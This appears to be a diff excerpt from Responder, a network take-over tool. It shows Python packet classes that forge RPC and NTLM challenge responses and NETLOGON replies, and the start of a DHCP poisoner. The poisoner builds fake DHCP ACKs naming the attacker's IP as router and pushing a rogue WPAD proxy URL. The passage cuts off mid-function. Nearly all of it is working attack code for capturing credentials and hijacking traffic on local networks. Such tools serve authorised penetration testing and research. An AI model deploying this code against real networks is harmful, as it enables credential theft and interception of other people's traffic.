("GroupAssoc", "\x26\x2a\x00\x00"),
("SecondaryAddrLen", "\x04\x00"),
("SecondaryAddrstr", "\x31\x33\x35\x00"),
("Padding", "\x00\x00"),
("CTXNumber", "\x03"),
("CTXPadding", "\x00\x00\x00"),
("CTX0ContextID", "\x02\x00"),
("CTX0ItemNumber", "\x02\x00"),
("CTX0UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX0UIDVersion", "\x00\x00\x00\x00"),
("CTX1ContextID", "\x00\x00"),
("CTX1ItemNumber", "\x00\x00"),
("CTX1UID", "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36"),
("CTX1UIDVersion", "\x00\x00\x00\x00"),
("CTX2ContextID", "\x03\x00"),
("CTX2ItemNumber", "\x03\x00"),
("CTX2UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX2UIDVersion", "\x00\x00\x00\x00"),
])
def calculate(self):
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["SecondaryAddrLen"])+str(self.fields["SecondaryAddrstr"])+str(self.fields["Padding"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX1ContextID"])+str(self.fields["CTX1ItemNumber"])+str(self.fields["CTX1UID"])+str(self.fields["CTX1UIDVersion"])+str(self.fields["CTX2ContextID"])+str(self.fields["CTX2ItemNumber"])+str(self.fields["CTX2UID"])+str(self.fields["CTX2UIDVersion"])
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
class RPCHeader(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x02"),#Bind ack.
("PacketFlag", "\x03"),
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\x0c\x01"),
("AuthLen", "\x00\x00"),
("CallID", "\x02\x00\x00\x00"),
("AllocHint", "\xf4\x00\x00\x00"),
("ContextID", "\x01\x00"),
("CancelCount", "\x00"),
("Padding", "\x00"),
("Data", ""),
])
def calculate(self):
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["AllocHint"])+str(self.fields["ContextID"])+str(self.fields["CancelCount"])+str(self.fields["Padding"])+str(self.fields["Data"])
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
class RPCMapBindMapperAns(Packet):
fields = OrderedDict([
("ContextType", "\x00\x00\x00\x00"),
("ContextUID", "\x00"*16),
("MaxTowers", "\x02\x00\x00\x00"),
("TowerArrMaxCount", "\x04\x00\x00\x00\x00\x00\x00\x00"),
("TowerArrMaxOff", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("TowerArrActualCount", "\x02\x00\x00\x00\x00\x00\x00\x00"),
("TowerPointer1", "\x03\x00\x00\x00\x00\x00\x00\x00"),
("TowerPointer2", "\x04\x00\x00\x00\x00\x00\x00\x00"),
("TowerTotalLen", "\x4B\x00\x00\x00\x00\x00\x00\x00"),
("Tower1Len", "\x4B\x00\x00\x00"), #Repeat x1 from here
("Tower1FloorsCount", "\x05\x00"),
("Tower1ByteCount", "\x13\x00"),
("Tower1IntUID", "\x0D"),
("Tower1UID", "\x35\x42\x51\xE3\x06\x4B\xD1\x11\xAB\x04\x00\xC0\x4F\xC2\xDC\xD2"),
("Tower1Version", "\x04\x00"),
("Tower1VersionMinBC", "\x02\x00"),
("Tower1VersionMinimum", "\x00\x00"),
("Tower2ByteCount", "\x13\x00"),
("Tower2IntUID", "\x0D"),
("Tower2UID", "\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60"),
("Tower2Version", "\x02\x00"),
("Tower2VersionMinBC", "\x02\x00"),
("Tower2VersionMinimum", "\x00\x00"),
("TowerRpcByteCount", "\x01\x00"),
("TowerRpctIdentifier", "\x0B"),#RPC v5
("TowerRpcByteCount2", "\x02\x00"),
("TowerRpcMinimum", "\x00\x00"),
("TowerPortNumberBC", "\x01\x00"),
("TowerPortNumberOpcode", "\x07"),#Port is TCP.
("TowerPortNumberBC2", "\x02\x00"),
("TowerPortNumberStr", settings.Config.RPCPort), #Port
("TowerIPAddressBC", "\x01\x00"),
("TowerIPAddressOpcode", "\x09"),#IPv4 Opcode.
("TowerIPAddressBC2", "\x04\x00"),
("TowerIPAddressStr", ""), #IP Address
("TowerIPNull", "\x00"),
("Data", ""), #To here, exact same packet.
("Padding", "\x00"),
("ErrorCode", "\x00\x00\x00\x00"),# No error.
])
def calculate(self):
self.fields["TowerPortNumberStr"] = StructWithLenPython2or3(">H", self.fields["TowerPortNumberStr"])
self.fields["TowerIPAddressStr"] = RespondWithIPAton()
Data= str(self.fields["TowerTotalLen"])+str(self.fields["Tower1Len"])+str(self.fields["Tower1FloorsCount"])+str(self.fields["Tower1ByteCount"])+str(self.fields["Tower1IntUID"])+str(self.fields["Tower1UID"])+str(self.fields["Tower1Version"])+str(self.fields["Tower1VersionMinBC"])+str(self.fields["Tower1VersionMinimum"])+str(self.fields["Tower2ByteCount"])+str(self.fields["Tower2IntUID"])+str(self.fields["Tower2UID"])+str(self.fields["Tower2Version"])+str(self.fields["Tower2VersionMinBC"])+str(self.fields["Tower2VersionMinimum"])+str(self.fields["TowerRpcByteCount"])+str(self.fields["TowerRpctIdentifier"])+str(self.fields["TowerRpcByteCount2"])+str(self.fields["TowerRpcMinimum"])+str(self.fields["TowerPortNumberBC"])+str(self.fields["TowerPortNumberOpcode"])+str(self.fields["TowerPortNumberBC2"])+str(self.fields["TowerPortNumberStr"])+str(self.fields["TowerIPAddressBC"])+str(self.fields["TowerIPAddressOpcode"])+str(self.fields["TowerIPAddressBC2"])+str(self.fields["TowerIPAddressStr"])
self.fields["Data"] = Data
class NTLMChallenge(Packet):
fields = OrderedDict([
("NTLMSSPSignature", "NTLMSSP"),
("NTLMSSPSignatureNull", "\x00"),
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
("NTLMSSPNtWorkstationLen", "\x1e\x00"),
("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"),
("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"),
("NTLMSSPNtNegotiateFlags", "\x15\x82\x8a\xe2"),
("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"),
("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("NTLMSSPNtTargetInfoLen", "\x94\x00"),
("NTLMSSPNtTargetInfoMaxLen", "\x94\x00"),
("NTLMSSPNtTargetInfoBuffOffset", "\x56\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionHigh", "\x05"),
("NegTokenInitSeqMechMessageVersionLow", "\x02"),
("NegTokenInitSeqMechMessageVersionBuilt", "\xce\x0e"),
("NegTokenInitSeqMechMessageVersionReserved", "\x00\x00\x00"),
("NegTokenInitSeqMechMessageVersionNTLMType", "\x0f"),
("NTLMSSPNtWorkstationName", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairsId", "\x02\x00"),
("NTLMSSPNTLMChallengeAVPairsLen", "\x0a\x00"),
("NTLMSSPNTLMChallengeAVPairsUnicodeStr", settings.Config.Domain),
("NTLMSSPNTLMChallengeAVPairs1Id", "\x01\x00"),
("NTLMSSPNTLMChallengeAVPairs1Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr", settings.Config.MachineName),
("NTLMSSPNTLMChallengeAVPairs2Id", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs2Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr", settings.Config.MachineName+'.'+settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs3Id", "\x03\x00"),
("NTLMSSPNTLMChallengeAVPairs3Len", "\x1e\x00"),
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs5Id", "\x05\x00"),
("NTLMSSPNTLMChallengeAVPairs5Len", "\x04\x00"),
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr", settings.Config.DomainName),
("NTLMSSPNTLMChallengeAVPairs6Id", "\x00\x00"),
("NTLMSSPNTLMChallengeAVPairs6Len", "\x00\x00"),
])
def calculate(self):
###### Convert strings to Unicode first
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le').decode('latin-1')
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le').decode('latin-1')
###### Workstation Offset
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
###### AvPairs Offset
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
##### Workstation Offset Calculation:
self.fields["NTLMSSPNtWorkstationBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation))
self.fields["NTLMSSPNtWorkstationLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtWorkstationMaxLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
##### IvPairs Offset Calculation:
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = StructWithLenPython2or3("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
self.fields["NTLMSSPNtTargetInfoLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
self.fields["NTLMSSPNtTargetInfoMaxLen"] = StructWithLenPython2or3("<h", len(CalculateLenAvpairs))
##### IvPair Calculation:
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = StructWithLenPython2or3("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
class RPCNTLMNego(Packet):
fields = OrderedDict([
("Version", "\x05"),
("VersionLow", "\x00"),
("PacketType", "\x0C"),#Bind Ack.
("PacketFlag", "\x07"),#lastfrag
("DataRepresent", "\x10\x00\x00\x00"),
("FragLen", "\xd0\x00"),
("AuthLen", "\x28\x00"),
("CallID", "\x02\x00\x00\x00"),
("MaxTransFrag", "\xd0\x16"),
("MaxRecvFrag", "\xd0\x16"),
("GroupAssoc", "\x94\x2c\x00\x00"),
("CurrentPortLen", "\x06\x00"),
("CurrentPortStr", settings.Config.RPCPort),
("CurrentPortNull", "\x00"),
("Pcontext", "\x03\x00\x00\x00"),
("CTX0ContextID", "\x02\x00"),
("CTX0ItemNumber", "\x02\x00"),
("CTX0UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX0UIDVersion", "\x00\x00\x00\x00"),
("CTX1ContextID", "\x00\x00"),
("CTX1ItemNumber", "\x00\x00"),
("CTX1UID", "\x33\x05\x71\x71\xba\xbe\x37\x49\x83\x19\xb5\xdb\xef\x9c\xcc\x36"),
("CTX1UIDVersion", "\x01\x00\x00\x00"),
("CTX2ContextID", "\x03\x00"),
("CTX2ItemNumber", "\x03\x00"),
("CTX2UID", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"),
("CTX2UIDVersion", "\x00\x00\x00\x00"),
("AuthType", "\x0A"), #RPC_C_AUTHN_WINNT
("AuthLevel", "\x06"),
("AuthReserved", "\x00\x00"),
("AuthContextID", "\x00\x00\x00\x00"),
("Data", ""), #NTLM GOES HERE
])
def calculate(self):
self.fields["AuthLen"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
Data= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CurrentPortLen"])+str(self.fields["CurrentPortStr"])+str(self.fields["CurrentPortNull"])+str(self.fields["Pcontext"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX1ContextID"])+str(self.fields["CTX1ItemNumber"])+str(self.fields["CTX1UID"])+str(self.fields["CTX1UIDVersion"])+str(self.fields["CTX2ContextID"])+str(self.fields["CTX2ItemNumber"])+str(self.fields["CTX2UID"])+str(self.fields["CTX2UIDVersion"]) +str(self.fields["AuthType"])+str(self.fields["AuthLevel"])+str(self.fields["AuthReserved"])+str(self.fields["AuthContextID"])+str(self.fields["Data"])
self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data))
################### Mailslot NETLOGON ######################
class NBTUDPHeader(Packet):
fields = OrderedDict([
("MessType", "\x11"),
("MoreFrag", "\x02"),
("TID", "\x82\x92"),
("SrcIP", "0.0.0.0"),
("SrcPort", "\x00\x8a"), ##Always 138
("DatagramLen", "\x00\x00"),
("PacketOffset", "\x00\x00"),
("ClientNBTName", ""),
("DstNBTName", ""),
("Data", ""),
])
def calculate(self):
self.fields["SrcIP"] = RespondWithIPAton()
## DatagramLen.
DataGramLen = str(self.fields["PacketOffset"])+str(self.fields["ClientNBTName"])+str(self.fields["DstNBTName"])+str(self.fields["Data"])
self.fields["DatagramLen"] = StructWithLenPython2or3(">h",len(DataGramLen))
class SMBTransMailslot(Packet):
fields = OrderedDict([
("Wordcount", "\x11"),
("TotalParamCount", "\x00\x00"),
("TotalDataCount", "\x00\x00"),
("MaxParamCount", "\x02\x00"),
("MaxDataCount", "\x00\x00"),
("MaxSetupCount", "\x00"),
("Reserved", "\x00"),
("Flags", "\x00\x00"),
("Timeout", "\xff\xff\xff\xff"),
("Reserved2", "\x00\x00"),
("ParamCount", "\x00\x00"),
("ParamOffset", "\x00\x00"),
("DataCount", "\x00\x00"),
("DataOffset", "\x00\x00"),
("SetupCount", "\x03"),
("Reserved3", "\x00"),
("Opcode", "\x01\x00"),
("Priority", "\x00\x00"),
("Class", "\x02\x00"),
("Bcc", "\x00\x00"),
("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"),
("MailSlotNull", "\x00"),
("Padding", "\x00\x00\x00"),
("Data", ""),
])
def calculate(self):
#Padding
if len(str(self.fields["Data"]))%2==0:
self.fields["Padding"] = "\x00\x00\x00\x00"
else:
self.fields["Padding"] = "\x00\x00\x00"
BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"])
PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])
self.fields["DataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["TotalDataCount"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["DataOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["ParamOffset"] = StructWithLenPython2or3("<h",len(PacketOffsetLen)+32)
self.fields["Bcc"] = StructWithLenPython2or3("<h",len(BccLen))
class SamLogonResponseEx(Packet):
fields = OrderedDict([
("Cmd", "\x17\x00"),
("Sbz", "\x00\x00"),
("Flags", "\xfd\x03\x00\x00"),
("DomainGUID", "\xe7\xfd\xf2\x4a\x4f\x98\x8b\x49\xbb\xd3\xcd\x34\xc7\xba\x57\x70"),
("ForestName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestNameNull", "\x00"),
("ForestDomainName", "\x04\x73\x6d\x62\x33\x05\x6c\x6f\x63\x61\x6c"),
("ForestDomainNull", "\x00"),
("DNSName", "\x0a\x73\x65\x72\x76\x65\x72\x32\x30\x30\x33"),
("DNSPointer", "\xc0\x18"),
("DomainName", "\x04\x53\x4d\x42\x33"),
("DomainTerminator", "\x00"),
("ServerLen", "\x0a"),
("ServerName", settings.Config.MachineName),
("ServerTerminator", "\x00"),
("UsernameLen", "\x10"),
("Username", "LGANDX"),
("UserTerminator", "\x00"),
("SrvSiteNameLen", "\x17"),
("SrvSiteName", "Default-First-Site-Name"),
("SrvSiteNameNull", "\x00"),
("Pointer", "\xc0"),
("PointerOffset", "\x5c"),
("DCAddrSize", "\x10"),
("AddrType", "\x02\x00"),
("Port", "\x00\x00"),
("DCAddress", "\xc0\xab\x01\x65"),
("SinZero", "\x00\x00\x00\x00\x00\x00\x00\x00"),
("Version", "\x0d\x00\x00\x00"),
("LmToken", "\xff\xff"),
("LmToken2", "\xff\xff"),
])
def calculate(self):
Offset = str(self.fields["Cmd"])+str(self.fields["Sbz"])+str(self.fields["Flags"])+str(self.fields["DomainGUID"])+str(self.fields["ForestName"])+str(self.fields["ForestNameNull"])+str(self.fields["ForestDomainName"])+str(self.fields["ForestDomainNull"])+str(self.fields["DNSName"])+str(self.fields["DNSPointer"])+str(self.fields["DomainName"])+str(self.fields["DomainTerminator"])+str(self.fields["ServerLen"])+str(self.fields["ServerName"])+str(self.fields["ServerTerminator"])+str(self.fields["UsernameLen"])+str(self.fields["Username"])+str(self.fields["UserTerminator"])
DcLen = str(self.fields["AddrType"])+str(self.fields["Port"])+str(self.fields["DCAddress"])+str(self.fields["SinZero"])
self.fields["DCAddress"] = RespondWithIPAton()
self.fields["ServerLen"] = StructWithLenPython2or3("<B",len(str(self.fields["ServerName"])))
self.fields["UsernameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["Username"])))
self.fields["SrvSiteNameLen"] = StructWithLenPython2or3("<B",len(str(self.fields["SrvSiteName"])))
self.fields["DCAddrSize"] = StructWithLenPython2or3("<B",len(DcLen))
self.fields["PointerOffset"] = StructWithLenPython2or3("<B",len(Offset))

323
poisoners/DHCP.py Executable file
View File

@@ -0,0 +1,323 @@
#!/usr/bin/env python
# This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import sys
if (sys.version_info < (3, 0)):
sys.exit('This script is meant to be run with Python3')
import struct
import optparse
import configparser
import os
import codecs
import netifaces
import binascii
BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
sys.path.insert(0, BASEDIR)
from odict import OrderedDict
from utils import *
def color(txt, code = 1, modifier = 0):
return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt)
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 == "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
def NetworkSendBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return bytes(str(data), 'latin-1')
def NetworkRecvBufferPython2or3(data):
if PY2OR3 == "PY2":
return str(data)
else:
return str(data.decode('latin-1'))
class Packet():
fields = OrderedDict([
("data", ""),
])
def __init__(self, **kw):
self.fields = OrderedDict(self.__class__.fields)
for k,v in kw.items():
if callable(v):
self.fields[k] = v(self.fields[k])
else:
self.fields[k] = v
def __str__(self):
return "".join(map(str, self.fields.values()))
config = configparser.ConfigParser()
config.read(os.path.join(BASEDIR,'Responder.conf'))
RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f]
DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f]
Interface = settings.Config.Interface
Responder_IP = FindLocalIP(Interface, None)
ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present.
NETMASK = "255.255.255.0"
DNSIP = "0.0.0.0"
DNSIP2 = "0.0.0.0"
DNSNAME = "lan"
WPADSRV = "http://"+Responder_IP+"/wpad.dat"
Respond_To_Requests = True
DHCPClient = []
def GetMacAddress(Interface):
try:
mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr']
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
except:
mac = "00:00:00:00:00:00"
return binascii.unhexlify(mac.replace(':', '')).decode('latin-1')
##### IP Header #####
class IPHead(Packet):
fields = OrderedDict([
("Version", "\x45"),
("DiffServices", "\x00"),
("TotalLen", "\x00\x00"),
("Ident", "\x00\x00"),
("Flags", "\x00\x00"),
("TTL", "\x40"),
("Protocol", "\x11"),
("Checksum", "\x00\x00"),
("SrcIP", ""),
("DstIP", ""),
])
class UDP(Packet):
fields = OrderedDict([
("SrcPort", "\x00\x43"),
("DstPort", "\x00\x44"),
("Len", "\x00\x00"),
("Checksum", "\x00\x00"),
("Data", "\x00\x00"),
])
def calculate(self):
self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8)
class DHCPDiscover(Packet):
fields = OrderedDict([
("MessType", "\x01"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", os.urandom(4).decode('latin-1')),
("ElapsedSec", "\x00\x01"),
("BootpFlags", "\x80\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random.
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x01"), #Msgtype(Discover)
("Op55", "\x37"),
("Op55Len", "\x0b"),
("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info.
("Op12", "\x0c"),
("Op12Len", "\x09"),
("Op12Str", settings.Config.DHCPHostname),#random str.
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["ClientMac"] = GetMacAddress(Interface)
class DHCPACK(Packet):
fields = OrderedDict([
("MessType", "\x02"),
("HdwType", "\x01"),
("HdwLen", "\x06"),
("Hops", "\x00"),
("Tid", "\x11\x22\x33\x44"),
("ElapsedSec", "\x00\x00"),
("BootpFlags", "\x00\x00"),
("ActualClientIP", "\x00\x00\x00\x00"),
("GiveClientIP", "\x00\x00\x00\x00"),
("NextServerIP", "\x00\x00\x00\x00"),
("RelayAgentIP", "\x00\x00\x00\x00"),
("ClientMac", "\xff\xff\xff\xff\xff\xff"),
("ClientMacPadding", "\x00" *10),
("ServerHostname", "\x00" * 64),
("BootFileName", "\x00" * 128),
("MagicCookie", "\x63\x82\x53\x63"),
("DHCPCode", "\x35"), #DHCP Message
("DHCPCodeLen", "\x01"),
("DHCPOpCode", "\x05"), #Msgtype(ACK)
("Op54", "\x36"),
("Op54Len", "\x04"),
("Op54Str", ""), #DHCP Server
("Op51", "\x33"),
("Op51Len", "\x04"),
("Op51Str", "\x00\x00\x00\x0a"), #Lease time
("Op1", "\x01"),
("Op1Len", "\x04"),
("Op1Str", ""), #Netmask
("Op15", "\x0f"),
("Op15Len", "\x0e"),
("Op15Str", ""), #DNS Name
("Op3", "\x03"),
("Op3Len", "\x04"),
("Op3Str", ""), #Router
("Op6", "\x06"),
("Op6Len", "\x08"),
("Op6Str", ""), #DNS Servers
("Op252", "\xfc"),
("Op252Len", "\x04"),
("Op252Str", ""), #Wpad Server
("Op255", "\xff"),
("Padding", "\x00"),
])
def calculate(self):
self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1')
self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1')
self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1')
self.fields["Op15Str"] = DNSNAME
self.fields["Op252Str"] = WPADSRV
self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"])))
self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"])))
def RespondToThisIP(ClientIp):
if ClientIp.startswith('127.0.0.'):
return False
elif RespondTo and ClientIp not in RespondTo:
return False
elif ClientIp in RespondTo or RespondTo == []:
if ClientIp not in DontRespondTo:
return True
return False
def ParseSrcDSTAddr(data):
SrcIP = socket.inet_ntoa(data[0][26:30])
DstIP = socket.inet_ntoa(data[0][30:34])
SrcPort = struct.unpack('>H',data[0][34:36])[0]
DstPort = struct.unpack('>H',data[0][36:38])[0]
return SrcIP, SrcPort, DstIP, DstPort
def FindIP(data):
data = data.decode('latin-1')
IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data))
